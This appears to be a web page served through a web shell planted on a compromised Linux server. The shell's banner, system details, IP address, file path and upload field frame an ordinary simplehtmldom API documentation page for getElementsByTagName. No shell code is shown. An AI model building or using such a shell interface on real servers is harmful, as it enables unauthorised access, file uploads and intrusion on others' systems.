0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 3.147.82.108


Current Path : /var/www/website/nublr/Regulations/simplehtmldom/manual/docs/api/HtmlNode/
Upload File :
Current File : /var/www/website/nublr/Regulations/simplehtmldom/manual/docs/api/HtmlNode/getElementsByTagName.md

---
title: getElementsByTagName
---

```php
getElementsByTagName ( string $name [, int $idx = null ] ) : mixed
```

| Parameter | Description
| --------- | -----------
| `name`    | Tag name.
| `idx`     | Index of the element to return.

Returns all elements with the specified tag name if `$idx` is null, or a specific one if `$idx` is a valid index.